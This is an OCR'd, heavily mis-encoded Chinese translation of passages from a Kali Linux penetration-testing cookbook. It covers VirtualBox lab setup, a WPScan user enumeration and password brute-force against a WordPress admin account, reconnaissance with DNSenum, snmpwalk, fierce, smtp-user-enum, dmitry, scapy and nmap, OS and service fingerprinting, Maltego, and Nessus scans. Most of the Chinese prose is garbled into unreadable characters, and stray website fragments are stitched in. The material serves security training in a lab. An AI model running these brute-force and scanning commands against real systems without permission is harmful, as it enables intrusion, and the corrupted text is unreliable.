T—F P » KA1 REBVirtualBox » A &5 K EHEE RFRNKRNA LM LR E L
Ao EMBRX—FHAFA DT ELGARE  TARBEHRREILFTI -

£
TR AT PR A &5 R TR AR o
BAE 5%

1k &A1 38 12 47 A VirtualBox kA4 ¢

1. B #VirtualBox * # & & New KA B EIIE S :


https://github.com/
http://creativecommons.org/licenses/by-nc-sa/4.0/

@ Oracle VM VirtualBox Manager - o IEN
Edg. Machine Help

= Details napshols

Welcome to VirtualBox!

The left part of this window is a list of all virtual machines on your computer. The kst is empty nnw be:ause you haven't
areated any virtusl machines yet.

In order to create a new virtual machine, press the Mew button in the main tool bar located §° 0 ! ‘
at the top of the window, -

3

-
You can press the F1 key to get instant help, or visit www, virtualboo.org for the latest #
information and news.

f
oy
o

i

2. B Next 4R WA E P L AR 0 HFkAF OS KA fepr K X—F PRI SER
Linux ~ Solaris 2 Windows ##41F 24 o #FSEBRME AL B & Next 42k %4

% Create Virtual Machine ?

Name and operating system

Please choose a desoiptive name for the new virtual machine
and select the type of operating system you intend to install
on it. The name you choose will be used throughout VirtualBox
to identify this machine.

Name: |

Type: [Linux = |%A

version: |Ubuntu (64 bit)

i-thDE-u'phm[ < Badk | | MNext = Cancel I

3. BELAAASL (RAM) 9 EF > S0 EAEPI o HAVE R BFIAE o AF Next ©
4., HFEEPARIEI R AL » B Next 4242 o



Hard drive

If you wish you can add a virtual hard drive to the new

one from the kst or from another location using the folder
icon.

machine is created.
The recommended size of the hard drive is 8.00 GB.
" Do not add a virtual hard drive

% Create a virtual hard drive now
(™ Use an existing virtual hard drive file

Eoot -]

< Badk l Create Cancel

Create Virtual Machine ?

machine, You can either create a new hard drive file or select

If you need a more complex storage set-up you can skip this
step and make the changes to the maching settings once the

|

FESEOLITH o MY F I VDI LA » BAA RN RITEME AL © Tk

# o
BAVE I BB K A EAR G BRAAE T o R next RAEL: o

LA Do o A i - NG N

| 8§ Create Virtual Hard Drive

o File location and size

7

Please type the name of the new virtual hard drive file into the box below or
dlick on the folder icon to select a different folder to create the file in.

Kali Linux

drive.

4.00MB

< Back

Create

3

Select the size of the virtual hard drive in megabytes. This size is the limit on
the amount of file data that a virtual machine will be able to store on the hard

lsmd’c'ﬁ

Cancel




8 KBEXERLTGEHN » FHFH X& create 42K 56| 2 PAEE & S -

9. &MALTE A —NEF > BT T EPAALGILE o &F create k%

#

File Machine Help

B & D

Mew Settings Start Discard

Oracle VM VirtualBox Manager

= General

Name: Kal Linux
Qperatmg System: Ubuntu (64 bit)

(2] system
Base Memory: S51ZME

Boot Order; Floppy, CD/OVD-ROM, Hard Disk
Acceleration:  VT-x/AMD-V, Nested Paging

= pisplay

Video Memory: 12 MB
Remote Desktop Server:  Disabled

(J Storage
Controler: IDE

IDE Secondary Master: [CD/DVD] Empty
Controler; SATA

SATA Paort 0: Kali Linux. vl (Normal, 16,00 GB)

@ Audio

Host Driver:  Windows DirectSound
Controler:  ICH ACS7

& Network

)

{*}Detais (& Snapshots

= preview =

Kali Linux

10. QIR E MG » ENVEET T 2 X BREAL > €RIRE VirtualBox F & & 4F -

11. A&VirtualBox®# ZH o F » P KATRI R Q| Z 9 IRE R AL AR 0 X5 B settings ¥

Z3:

¥

Eile Machine Help

;.'-I".'_- _-,_"aii,-';-'. e

Base Mer
Boot Ord
Acceleral

12 MARRYREFTRCEZART » KNALEEATHY ISO LHEAEMLE - Z&F
BRRZFE DVD Rk ZARLZE TR o f£ settings J® * B Storage 2 :



%= SR MRINE

i Kali Linux - Settings

Storage

Storage Tree Attribu

Q Controller: IDE o/

@ Controller: SATA Inform;

@ Metwork
@ Serial Ports

& USB

@ Shared Folders

3 Kali Linux.vdi

Al

@ @@ e

13. X5 » f£ storage Tree T * & ¥ controller: IDE T @#) Empty A& Bz o X 2 kiF

#A89“E 4" CD/DVD ROM 35 o £ f R 8953 » Attribute T 1 0 A& E AR o
BB EEF > NI A FHIFREG ISO T o R ISO IHZA B i

#* choose a virtual CD/DVD disc file... & &K 2[R9 1SO o —EFAR AR TR &AW
B Ak ook %4 o

T

% o) Kali Linux - Settings L
E E General Storage
1 . t )
i- I[; T Storage Tree Attributes
Displ .
a SI:H’:Ir @ Controler: IDE CO/OVD Drive: [IDE Secondary Master | (1)
e ™ LveCoovD [Pl Choose a virtual CO/DVD disk file...
; ::::m £ Controler: SATA tefarmaten Host Drive ‘&
- s ] .
ﬁ Sarial Parts g Kal Limne. vl T.‘;;: _ o Remence disk from virual diive
& use Location: =
Attached Ta: -
Shared Folders
48 @G
Salsct 8 gattgs category Fom the 5 an the laft-fhand ks and move e mouse over 8 seings
A iy gl mord vbrmation,
o | comcd | nep |

14. A& start 42 LERERFROHHE O > APATRR - KE I REZ —FH 2RI R

BPHITG R o

TR

45



I —F VAR &3 8 VirtualBox & L 4] k46 0 Z G RATRBT RNGBERAL  FRENE
FarRE L R o )5 0 &RAT®FET I1ISO T » 2B H ISO A &A1 % 3L CD/DVD 3 &
TokG o RNMBHTEMIRGE BT REBERL -

FEX—FRARIS P o HA1442 A VirtualBox 1 F A P it T B k72 5 R F 69 3R3% o

E 2

EAVIT AT A RAF T RE 2L M F R E MK © VirtualBoxdR B T A i 89 Tk &40 & BUIR

IF
1. EXFoF» EERITEESHOENRE S ¢

2. AEHEMIRSE S > A clone £ :
|

%} Settings... Ctrl+5
f€]Ciore.  cub0 |
98 Remove.. Ctrl+R
+ i Group Ctri+U

&) Start
Pause Chrlap
)} Reset Ctrl+T

¥ Close

Discard saved state... Ctrl+)
5| Show Log... Ctrl+L
Refresh..,

=] Show in Explorer
A Create Shortcut on Desktop

Sort

3 ERETRO T » ARAFEIIR G BEMALAR



Clone Virtual Machine ? “

New machine name

Please choose a name for the new virtual machine. The new
machine wil be a done of the machine Metasploitable2.

|Metae:d-:nrahlez Clone|

™ Reinbalize the MAC address of all network cards

Hdel:lesa'pmﬂi Back | | Mext = | Cancel |

4. B Next * EFABEHT @ P > 4% Linked clone 2 Full clone * EA1ETHEET :

© Full clone : £ ZEALENEXT » 261 T AL EIEN o

© Linked clone : ZEFEIELIENREKX T » BRI B RO Z &M o 122 > M LIERK
# T R4 TG T B o X 2 TRARAE 3 SR 09 HE AR o

W Clone Virtual Machine » IEN

Clone type

Please choose the type of done you wish to create

If you choose Full clone, an exact copy (induding all virtual
hard drive fileg) of the onginal virtua machine wil be created,

If you dhoose Linked clone, 2 new machine will be ocreated,
but the virtual hard drive files wil be ted to the virtual hard
drive fies of orginal machine and you will not be able to move
the new virtual machine to a different computer without
moving the original as well,

If you create a Linked clone then a new snapshot will be
created in the original virtual machine as part of the cloming
process,

* Full done

" Linked done

<Back || cone | concel

5. B clone 7545 AL IE T AR o



% Clone Virtual Machine: Cloning Machine | < |

Cloning Disk 'Metasploitable.vmdk' ... ... (2/3)

% X
5 minutes remaining .

3.2 T #& Windows #2#L

BB AT AL » AR LA KK o #3R8 Windows £ 48 & 1F 2 AN AFe AL PT 6 69 32 1F &

g/‘ o

FEMA o MIRRBET — M FERERMNRIBERASL -
%

FE T B XA M B E R AR AR o
BT %

T # Windows ¥l F Bde T AT -

1. dr7F& % & H17 7] Microsoft Technet : <http://technet. microsoft.com/en-
us/ms376608> °

2. AFEFEHAEM > 5 F Downloads FEFE -


http://technet

Teahilet Froducts * I Respurces =

2% Microsoft
TechNet

Private Cloud Planning Guide for
Systems Management

Juty 32,208

Fead this document from Microsoft to lesm how
Privete Clowd Infrastructune as & Service petterns
affact Spstems Mansgement design, This guide
should be used a5 on 8id to operstions, architects, and
congptents who sre designing processes, procedures,
ard best practices for & prvste cloud

Dowmiloads =

Trammg = Support =

Troubleshooting

4 Downloads

Subseripti

Rz the Reference Srchitectuns for Privete Cloud
Prevate Clewd Techregal

ik vl ek ot Tachiias it
ncapl and Crare Lubscnbe bo the Tecnboet Haih newslette

Prevate Clowd Planming Guide for Systems
Marnagyemsent

Fystem Center 2012 Suite downioed

Technology News El Local Resources - US

Free Priviate Clowd Triaks

- Server & Management . Windows

Thee mews Frech Paint comes to Windows 8.1 and
Wndoras Phone

Batvanced Took and Scripting with PowerShell 1.0
Feclay nad M

3. #£ pownload ;T;ﬁlﬁq’ » #%&3F Evaluate new products °

4. ET—AF@m¥

Troubleshooting +

Downloads

F:I"I sel

Get service packs

Go to Microsoft's Download Center

s AR AEFETROAT » B TREZNRXG = & o fEniRikit
Windows Server 2012 » Windows 8 #= Windows 7 °




Full-featured evaluations

» Home > TechNel Evaluatian Center

uration Manacaer

Meed Developer Evaluations?
MS0OM Evaluatan Cente

Free Technical Training

At Virtual S sdarm

Windows Server
Mindirwes Server 2012

Windowrs Small Business Server 2011

Windows Server 2012 Essentials
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TURM KEY ¥ APPS v HELF v BLOG  » SCREENSHOTS  » TURNKEY HUB
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Have you checked out the TurnKey Hub yet? Try the live demo!

Total: 155.5 MB (50.03/mal Backup B Migration e z Cloud Servers
Secure and easy server backups Rapidly explore and deploy
130.6 MB to Amazon 53. Automatically Virginia |East USA) * 100+ free server apps in the
rastore servers from backups. amazon EC2 cloud.
64.9 MB Micre: 0,02 Mour L
! Test backups in the dowd, Onily 3 browser reguired.
Benefits Blog
Save time and money with 100+ ready-lo-use solutions: discover and leverage the best Intreducsng TELDY -
free open source software. Deploy in minutes on bare metal, virtua! machines, or in the Turnkey's apphance
clowd. development and build
Systam in & box
Tt Just works: designad for ease of use, builk and pre-tested by 3 community of experts. 18th Jul, 2013

Tuirikey moves bb GitHul
28th Jun, 2013

Turnkey 12.1 &4-tt

Backup and migration: smart software saves changes to files, databases and package
management to encrypted storage which servers can be autamateally restored from.

Secure and easy to maintain: auto-updsted daily with latest security patches., maintenance relaage budt
woth rvew tkickey Build
100% Open Source: Iree from expinsive and restrictive proprietary hicensing. Easy Lo appliance
fustomize and extend to bulld new appliances from the closest existing starting point. &t Jun, 2013
Raad mors Tumkey Cora 13.0
{1286, amd6d, wheary]
17th Jan, 2013
Wy = . .
Lighter, smaller, faster and easier is 9 mare
1 ”»
the formula behind TurnKey Linux
— Infoworld, Bossie awards (source) Follow us. Share with friends.
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All Specials ";}qn_l_trnt_ nln_na_ggm?qt_' Web development Issue fracking Messaging

Etherpad Lite Joomia 1.5 Drupal 7 Zon Cart
Real-ime docuoment Cutting Edge Content Content Management onbine store
collaboration Management Framework managemant system

XOOPS TomatoCart Typal PHP-Hubke
Content Managemant Shopping cart Enterprise CM5 Content Management
and Web Application system

Platform

O50A Pligg SilverStripe Plone
QA system Social publishing CM5 CMS and framework COpen Source Content
Management
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WordPress - Blog Publishing Platform

WordPress is a state-of-the-art publishing platform with a focus on
aesthetics, web standards, and usability. It is one of the worlds most popular
blog publishing applications, Includes tons of powerful core functionality,
extendable via literally hundreds of plugins, and supports full theming.

DOWMLOAD: Z11MB WM OVF, DpenStack, OpenV?, Xen (7} | Manifest & Sias
RUN FROM BROWSEHRT Dioy WordPress in seconds to the Amazon EC2 doud

E 2

BL AR &A1 e 3% 89 WordPress & A4t » &A1 vA4# Al WPScan %% +&% T - WPScan =42

&t WordPress &4 4a# % » A% A P X3 WordPress L& &
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WPScan #% % # 45 % » &4 :
* u<HEEEX url>  HEK u AFREE BARGRE o
o _f I H¥ f AFNREMNEEWordPress £ &K K o
o _e[#A] I HE e AVIRTLEAKS

1k &A1 444 A WPScan °

1. & Kali Linux E#ALF » Am# & WPScan # B L4 :

wpscan -h

@23 T @A

i~# wpscan -h

||
N || |_| v2.6rNa

he timsout and reguest timeout

URL fdomain to
if the remote site is running WordPress.
Enumeration.

usernames from id 1 to 18

2. 1k &A1 2t WordPress & MAALIAT 2L R 89 WPScan X, o X £ » K A1%huégIPHuAE
A 192.168.56.102 °©

wpscan -u 192.168.56.102

3. WA EEMNBIMITTHGEKRERPF L7 &

wpscan -u 192.186.56.102 -e u vp



Scan Team
Initiative

WordP

Enume
Mo plugins

Enumerating usernames
We found the following 1 username/s

id: 1 name: admin nickname: admin Turnkey Linux
|

4. ;5 0 BA1ALAE R —wordlist <c#smiz> LI RIRELEZ L

wpscan -u 192.168.56.102 -e u --wordlist /root/wordlist.txt



Started on Mon

The WordPr

Enumerating plugins from passive detection

plugins found :{

We found the
id: | name: admin | nickname: admin | Turn

Starting the password brute forcer

Brute forcing use
Username : admin

5. MLLERT - KMNCERIKILT WordPress 89 K45 o



R us il N g

£ : Willie L. Pritchett, David De Smet
EA A

L : CC BY-NC-SA 4.0

A A~

i)‘(n’s-éﬁ FEMAL—RAGEWE - A TR TR E RNTFRBREXT ARG EARE

o KAVRAFHIIZ A S » HE R ERMS o
REUBRE—NEG—ANERT @ ERAIEEK o £%FXAHGIZ > R IKall AT €
ET—ATERATHEEMNEZEA AL Kk A B AR G8IE > DMERN EAF M E B 47 o £0
Maltego CaseFilef» KeepNote#) T B3t & — A7 5 o

4.1 IR % 23&

AEZANFE T » BNE2ET—RREFREGDHETT o KEZERINTMAM LK EZ L0GTH -
AV Z5t RDNSH A Fr SNMPA A R o DNSHUE & F 4% X AN 484269 FT A DNSIR % 55 F=
DNS4k Bt Z#2 - DNSKFEA T RIN K EA X G ALY EREZ L Bl AP L ~ HHEME
RN IPHAEAR L E o A T 2R EAE S KA1 418 FIDNSenum ° 3t TSNMPA A » & A144%
A P SnmpEnum & T & » B&— 38 KEGSNMPA A LB » A &A1 5P M & L SNMP

/)lb _i?_ °

B B
T &A1 ADNSHK HAE A 46

é‘kfl]ﬁhﬁ] DNSenum# 47TDNSAZ © 4 T A4 DNSA » 37 Gnome%ss » 7 B A&
—F"P <

cd /usr/bin
./dnsenum --enum adomainnameontheinternet.com

ERBLETETRGAEMERE T AR THRSE LETEANATE o & TR
% adomainnameontheinternet.com 1A — M F » R ZBHHJAZZ A B iz o L0 |

2. ZRNFERBAZEIWE > Bl A~ ZHRREFE ~ MHREF B > wRFZHEETUH
B R 4%


https://github.com/
http://creativecommons.org/licenses/by-nc-sa/4.0/

num e Oy

:Whois::IP module, whois queries disablec

" Com 14400

AT vAE ] — 40 h 69 3% 77 & 2 47DNSenum > EA1 E3E X LA FH ¢
© .- threads [number] A TFIREZE—RATEITHERERKE
o -r AR EEEERK -
o -d AWMREELWHOISH R A 498 A LR » AL H A o
°o -0 AR T BALE o
o -w AHFHMNIFBWHOISEH -

WHOIS# 4: £ & #

FAVTAE R B — A4 4 snmpwalk 4 MWindows EAU o Snmpwalk%—*/\ﬁ’iﬁ]SNMP
GETNEXT#% K12 M % 1k £19125 B 69SNMPE A o f24r 44T PAENT 7| 4

snmpwalk -c public 192.168.10.200 -v 2c

ATE T AR A2 K A RAF

snmpwalk -c public 192.168.10.200 -v 1 | grep hrSwInstalledName

HOST-RESOURCES-MIB: :hrSwWInstalledName.1
HOST-RESOURCES-MIB: :hrSwWInstalledName.2

STRING: "VMware Tools"
STRING: "WebFldrs"

VAR AL A8 B T AR A TCP# o ¢


http://en.wikipedia.org/wiki/Whois

snmpwalk -c public 192.168.10.200 -v 1 | grep tcpConnState | cut -d"." -f6 | sort
-nu

21
25
80
443

7. A — A TSNMPIKE12 889 T A4 snmpcheck

cd /usr/bin
snmpcheck -t 192.168.10.200

8. 4 T4 Afierce (—4~%21X % ﬂ’«fii%ﬁ-&ﬁﬁﬁ B Az BT R 69 IP3 b An 3R % 69 T 2L ) 473k
ik o RAVT R AT 44
cd /usr/bin
fierce -dns adomainnameontheinternet.com
H AR T E TR AR E R A TR E o9k §<J: EATH o 3 E KA
¥4 adomainnameontheinternet.com 1’?7@"/1\%7’]% s MR 5%‘ /f B e 50|

9. # T A4S R 8198 5l R 44748 F GO ARAE o AEAAT 44

fierce -dns adomainnameontheinternet.com -wordlist hosts.txt -file /tmp/output.tx
€

10. A TASMTPIE S £ LR 3 A P SMTPAE » AL T4 4

smtp-user-enum -M VRFY -U /tmp/users.txt -t 192.168.10.200

1. BAVRLETUREFBAFGLERT o

42%JL)TI/] a/&.

1 E—% P RANPTIKENZ B > BAVRAEF IR T H BT B AZ M L6 IPHAL T o £ X AFLEE
PEMNBFEE TR CH ARG A

BRAE 5%
IEHRAVA AT LS50 F O R FIBT M L LE -

1. AW LHE D FERAAT 4



CACh S ERN S

dmitry -wnspb targethost.com -o /root/Desktop/dmitry-result

2. AmZ G BN G 2@ E/FE] T —AUARIHE > LA dmitry-result.txt * 2 A K

30 A L

| 7 *dmitry-result.txt

Gathered Netcraft information for targethost.com

Retrieving Metcraft.com information for targethost.com
Metcraft.com Information gathered

Gathered Subdomain information for targethost.com
Searching Gocgle.com:86...

HostMName: community.targethost.com
HostIP:192.1€8.16.2081

HostName:www.targethost.com

HostIP:192.1€8.10.208
HostMName:smtp.targethost.com
HostIP:192.1€8.10.206

HostName:ftp.targethost.com

HostIP:192.168.10.218
HostName:private.targethost.com
HostIP:lgz.lfB.lﬂ.ZBﬂ

Searching Altavista.com:8@...

Found 4 possible subdomain(s) for host isoftdev.eu, Searched @ pages
containing @ results

3. AT 44 R MATICMP netmaskif K :
netmask -s targethost.com

4, 1% Mscapy * RATHTUAMATHATH BRIZ c AU THELERBEHE ¢
scapy

5. scapy B #Z )G » RATIAET UM AT KL :

ans,unans=sr (IP(dst="www.targethost.com/30", ttl=(1,6))/TCP()

6. RAVTUAMAAT ZF KK ERETH R :

ans.make_table( lambda (s,r): (s.dst, s.ttl, r.src) )

SR T :

60



216.27.130.162 216.27.130.163 216.27.130.164 216.27.130.165
192.168.10.1 192.168.10.1 192.168.10.1 192.168.10.1
51.37.219.254 51.37.219.254 51.37.219.254 51.37.219.254
223.243.4.254 223.243.4.254 223.243.4.254 223.243.4.254
223.243.2.6 223.243.2.6 223.243.2.6 223.243.2.6
192.251.254.1 192.251.251.80 192.251.254.1 192.251.251.80

asLwnNBRE

7. HNFZHANAT R kA Ascapy RAATCP#% iz &

non

res,unans=traceroute(["www.google.com", "www.Kali- linux.org", "www.targethost.com"]
,dport=[80,443],maxtt1=20, retry=-2)

8 BMNAFTEHANATHEEBLERETHRAL

res.graph()

ASE151
[UmNet]

T 43994 o ==

5164 165049

(GOOGLE - Google e~/ [BIZNESSHOSTING - \'ULI(;:E)‘]\.____ ‘_IH;L;LES-:??E.—\.Luag.;?{l.uum. ne ]
9. RAEBARELTI &4
res.graph(target="> /tmp/graph.svg")
10. RMTUARIDEATGRE L » BIHAT I HECRER

res.trace3D()

1. #AA T4 4 kiR Hscapy :

exit()
12. ERFERZE » RAVALT A e & o

I AE)R 3

HETITAF » EAMEA T dmitry REREARE E o 53 -wnspub AF RN E R E EHAT
WHOIS & » # % Netcraft.com #9153 & » M EZ T FIHREL » AR RMTCPH 2 - %

oo AFRMNBLERREGEIAAF o £FHIT » KMNELT —AH £49ICMP netmask
HR o FA -s B ki BIPHRAF F R & o HT k0 KAVE A scapy kAT B Az LG5t
T# R RIR o FAERETRTER - EVRTF » RAVET R Z0980F24433% 0 EIATT



TCP¥% iRz » A HBZATTLREA20KZ L X ANTH o AHRFLERZE  KNEBETEY
AR ET > BEREHEHEZF  AQEZETARLERGIDEAT - G KRINBEEHT
scapy °

4.3 125 EFh T

EZRSEIN s KRNALTEZ R BAZMELENGE 5 A o
— AN 6 7y kR B AR B B MAT ping BA1E o B XT UM IMIEL K E% » L FRTHK
A Z g
BT R
IERAAIT A LR E 2 > F4E T E3h T4 ¢
1. &ATT AL FINmap kR FIBT EAS EMAGIT AR KA - LT @&
nmap -sP 216.27.130.162
Starting Nmap 5.61TEST4 ( http://nmap.org ) at 2012-04-27 23:30 CDT
Nmap scan report for test-target.net (216.27.130.162)

Host is up (0.00058s latency).
Nmap done: 1 IP address (1 host up) scanned in 0.06 seconds

2. &AW T 242 AINping (Nmap#it) » AR RN B Fmeg L F

nping --echo-client "public" echo.nmap.org

:/usr/bin# nping

0 (@B)

3. AT A @48 om0 K % — 2457 3t 4 4k ¢

nping -tcp -p 445 -data AF56A43D 216.27.130.162



4.4 TR HH T

ETHREERGCARES IMNZE » KRI0F 24

SO Fr AR o

£ &

TR AL S F 2 B s Apache Web/R % % -
BAE I %

IEEAVA AT F LR E 0 % FRIFACE 2
1. BATLSR B O MmN T oS4 A 4

nmap 192.168.56.101

5% O Ja R IRAE kA &R A9 TCPA=UDP



li:~# nmap 192.168.56.101

1: t I:I

ssh
telnet
smip
domain

27:50:57:69 (Cadmus Computer Systems)

Mmap done: 1 IP address (1 host up) scanned in 1.47 seconds

~# ]

ENELTUE R E Ao (REENIEL T 100045 )

nmap -p 1-1000 192.168.56.101



:fusr/bin# nmap -p 1-1006 192.168.56.101

Starting Nmap 6.25 ( http://nmap.org ) at 2013-06-05 22:27 EDT
T 56,101

ot shown: S88 cl

' SERV
1: t I:I
ssh
telnet
smtp
domain

Nmap done: 1 IP address (1 host up) scanned in 1.31 'seconds
‘@kali:/usr/bin#

KI5 TNmapk 2 # EA LR A ML HTCP 223% a

nmap -p 22 192.168.56.*



:fusr/bin# nmap -p 22 192.168.56.*

Starting Nmap r.“c [ http://nmap.org ) at
Mmap scan re E 56
Host is up (0O. 4s latency) .
PORT  STATE SERVICE
¢ 1'1'I T--r".:ui ssh
B (Cadmus Computer Systems)

Mmap scan report for 1592.168.56.100
Host is up ((0.00021s latency) .
C SERVICE

::::h

=_-===h
B8:00:27:50:57:659 (Cadmus Computer Sys

rt for 192.168.56.102
Bs latency) .

Nmap done: 256 IP addresses (4 hosts up) scanned in 10.13 seconds
4. A AFEAENMBER

nmap -p 22 192.168.10.* -0G /tmp/nmap-targethost-tcp445.tx

IAER 32

EAALEE F 0 RAVEFINmapkia # &AM % 69 B Az ZA0 0 FFH B AR T A% o

L2

Nmap# GUIRR A "1 #Zenmap » & 7 vAil i £ 5% EMAT zenmap 04 > RFE 5

%] Applications | Kali Linux | Information Gathering | Network Scanners | zenmap kB #h



x Zenmap

ols Profile

Target: || | Profile: |Intense scan |v| |Scan| ince

Command: |nmapT4A v |

Hosts | Services Nmap Output | Ports / Hosts Topology Host Details Scans
0S  Host vl | | £ [Details|

| Filter Hosts |

4.5 1321F 2 A48 LR B

BN B EIANTIE > RN ZIEF T —RIPHAE » EFh A > ARFTIRH] 69 B AR 84269
ﬂ-zﬁ:% 0o T—FZHBEH I LEITHIRIELAL AR TRENTSEHAAEA -

A%
F % A 2| Wireshark#h 38 STHF & TR Z ABLFE 89 F B2 o

AR %

TERAVELSRE v F #/T0SH LR T ¢
1. RAT M AINmap# AT T 244 > FA -0 4 kB OSH M I 4t

nmap -0 192.168.56.102



at 2013-09-01 21:00 EDT

unknown

2. 11 pef k2 # Wiresharkdh & T4 :

pof -s /tmp/targethost.pcap -o pOf-result.log -1
pof - passive os fingerprinting utility, version 2.0.8

(C) M. Zalewski <lcamtuf@dione.cc>, W. Stearns
<wstearns@pobox.com>

pof: listening (SYN) on 'targethost.pcap',6 230 sigs (16 generic), rule: 'all'.
[+] End of input file.

4.6 MR % 45 LR 3

FIBTBAT AR T o 0 LR G2 B Az M % LR 5B GRIE o G2 BERIEAT & OSHE 4 7|
kBB A o

BAE T B

RENEESEEETY S E S
T

S

TR &35 4017 5] -

1. 47 F oA TH4



nmap -sV 192.168.10.200

Starting Nmap 5.61TEST4 ( http://nmap.org ) at 2012-03-28 05:10 CDT
Interesting ports on 192.168.10.200:

Not shown: 1665 closed ports

PORT STATE SERVICE VERSION

21/tcp open ftp Microsoft ftpd 5.0

25/tcp open smtp Microsoft ESMTP 5.0.2195.6713

80/tcp open http Microsoft IIS webserver 5.0

119/tcp open nntp Microsoft NNTP Service 5.0.2195.6702 (posting ok)
135/tcp open msrpc Microsoft Windows RPC

139/tcp open netbios-ssn

443/tcp open https?

445/tcp open microsoft-ds Microsoft Windows 2000 microsoft-ds
1025/tcp open mstask Microsoft mstask

1026/tcp open msrpc Microsoft Windows RPC

1027/tcp open msrpc Microsoft Windows RPC

1755/tcp open wms?

3372/tcp open msdtc?

6666/tcp open nsunicast Microsoft Windows Media Unicast Service (nsum.exe)

MAC Address: 00:50:56:C6:00:01 (VMware)
Service Info: Host: DC; 0S: Windows

Nmap finished: 1 IP address (1 host up) scanned in 63.311 seconds

2. EANWTER amap RIRA| BT AN om0 Rk O CB AR » b T @EAH]T

amap -bg 192.168.10.200 200-300

amap v5.4 (www.thc.org/thc-amap) started at 2012-03-28 06:05:30 - MAPPING mode
Protocol on 127.0.0.1:212/tcp matches ssh - banner: SSH-2.0- OpenSSH_3.9p1\n
Protocol on 127.0.0.1:212/tcp matches ssh-openssh - banner: SSH-2.0-0penSSH_3.9p1

\n
amap v5.0 finished at 2005-07-14 23:02:11

4.7 Maltego A& 4%

e EAFLAE P o KAV A1 A Maltego 89 4 2kKalink A& » B 7T A AZ Bl R B b B 4K
1> 8 LA RAF 6945 Bk 5 T A9 X &= o MaltegoA& R 69 R &7 45 T B » a2 7HA %k
ERMG LHEE & A ER o CR AN KRR B KRR IE 8
R B R B RET) o

%
F & — k5 kALl Maltego © % Flhttps://www.paterva.com/web6/community/ sk i Ak 5 o
BT R

1L R AT FhMaltego 4 :

1. 7 9] Applications | Kali Linux | Information Gathering | OSINT Analysis | maltego &k
Jo FMaltego © & 24T :
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Paste Clear

Welcome to Maltego!

Startup wizard - Welcome (1 of 5)

4 Start Page =

 Fecent Graphs Login Welcome to Maltego!
| Login result

Select trancform 5 This wizard will guide wou through the steps of setting up vour
Maltego Client for first use.

‘We hope that wou enjoy using our product as much as we enjoy
building it!

Please note that the Community Edition is intended for
non-commercial use only!

ALTEGO RADIUM CE
ALl LINUX

[¥] Show on Startup

B HTEEFE Next REFBFT@Y :

i Linux Edition 3

Investigate Manage Organize

( m . Copy lurnl:u»:r of Resuls H

paste Clear ©
| All

Startup wizard - Login (2 of 5)

Enter your details below to login to the Maltego Community Server

Or if you have not done so yet, register here

Login
* Email Address |

Password |

and

* Solve captcha |

ALTEGO RADIUM CE
ALl LINUX

[v] Show on Startup

B Next BB TERNGBRFHEIE c BIEZ S » B Next ABL:

%k #Ftransform seed X & ° X & B Next
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Investigate Manage Organize

.~ Copy i e m RO T R A 5
( m‘ !._III'HJ ro Il H I S -_- -

an CU
Paste Clear = ecuusers
Al © De Welcome to Maltego!

2]

"4 Start Page =x

Recent Graphs

Startup wizard - Select transform seeds (4 of 5)

Discover transforms from:

B o [v] Maltego public servers

[]Local TAS (Transform Application Server)
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© Slackware Local Security Checks
© Solaris Local Security Checks

O SuSE Local Security Checks

© Ubuntu Local Security Checks

© Web Servers

Settings

ﬁ | ==L
m Slacioaans Local Security Chacks ik

-

m Solaris Local Secunty Checks 3261
": Plugins

m SUSE Local Secunty Checks 5131

\
A
Ut Lacal Secirey Chacks 2123

| ] itware ESX Local Sscumy Checks 3
m ‘Web Servers TES
|. | Wirndaws 2330
| | ‘Windows : kicrosof Bulletins 514
Windows | Liser maragsant 28

m s

Eoroll

6. A& update KIRBHHIR% o
7. BEFEF > E& scan Queue EE LA
8. & New Scan &4aFt# fT4e TR ¢

i ARGBERMALHR - wRIE—RET SNl BREFAR - BRXR S HATE
TR a6 7 X o

i, AR ER

B Run Now : HKIAFB » IAZRASZBPEITAR -



®  scehduled @ ATFAR#EF B Aot 7] kig4T

m  Template : i3 R E AR o
i, HLFARRE c XE > KATEF AT Z Y Linux vulnerabilities Scan R% ©
iv. #FRG B A TI R

w BARLIREATIAN—A o

 RALTALEFATHANB ARG LA ©

n LB (RAGE) RikdF Add Target IP Address °©

9. &+ Launch Scan

o Mew Scan Template

L¥ General Setings General Scan Settings

Mame

Scan Targats

olo®d Tarpat Rt se

m e

10. RAMERAD > ROMRE 2RI (ATHRBET 59 B > WAL S S
®)

M. —E2ZRT » REKE —R%E > BE Reports tE T F o
12, RERE RIS T 72 A
o BAKILT RIFBAREWEIE o
o i IP ik kWA 7 o Fe ANk 0 8y 5] R o
o BEHFTHMET » kRGN RN T BB RF T & -
o FIRLFEmMA o

13. % Reports E X% F ) pownload Report °©



5.5 Nessus - X L. Windows 45 & &) /& /F]

JeZXAALEE T s RA1448 A Nessus 3E & 41T & I, Windows 45 T iR o 3X 3R IR 4t 2t M %
147 Windows 9 F 4L o

£ &
AT T EE o AR E BN R 6 R A

e Windows XP
e Windows 7

BT I

1L &A1 461% Al Nessus & I Windows 4 € 89/ F » & %47/ Firefox & it % :
1. /& https://127.0.0.1:8834 % % Nessus °
2. 5 F] Policies °

3. & Add Policy °©

o
‘?- Filfer Cptions.

L General Setings Policy General Settings
&
Setting Type Basic
2 Heme
Wisilility peivaLe
Dascrghion
Allow Post-5¢ tan Repart Editing L

4. /& General Settings AR 2 W » #AT4e THAF :

i, AN — LA o ZKAT1EF T windows Vulnerability Scan ° {2AR T A%
BB LC LR

i A AAT L


https://127.0.0.1:8834

m Shared : LER P TAF XK H -

m  private @ X RIIRGEBIREA o

jii. e B ARG BN o

iv. & submit ©

5. f£ plugins /R Z& M F » & & pisable All FLFT 2|45 E 89 RIFE o €A1 s H A

Windows & 4. ¥ :

o DNS Databases

o Denial of Service

o FTP

o SMTP Problems

o SNMP Settings

o Web Servers

o Windows

o Windows: Microsoft Bulletins

o Windows: User management

s =
a Shaciware Local Seouiy Chacks
Solws Local Secuiy Checks
.': Fluiging
SuSE Lotal Security Checks
b3

Uit Local Securty Chacks

Vidware ESX Lacal Seeuriy Chicks

B v vt
[oreees [T

Eercdl
n

6. & submit RIRAG IR o
7. BEFE#EP s Ed scan RELA o

8. &+ Add scan &4 3 4The TARAE ¢

i, ARG o o RIF—REFT S MR REEFAN - BRAR

ECENCESEIIP e

i, AR EA

=5 :]

a1

5131

2123

TEE

35338

B1s

%
1

p=

P



" Run Now - BRIAARB » XABRAXLAPEITAH

®  sScehduled @ ATFIR#EFEF B MAent A kiziTiade

®  Template : W§FafEEE AR o
i, HFPRRS o XL > KAV LIF A Z 4 windows Vulnerabilities Scan R% ©
iv. LERG AR B THEE

BRI FETIA—A o

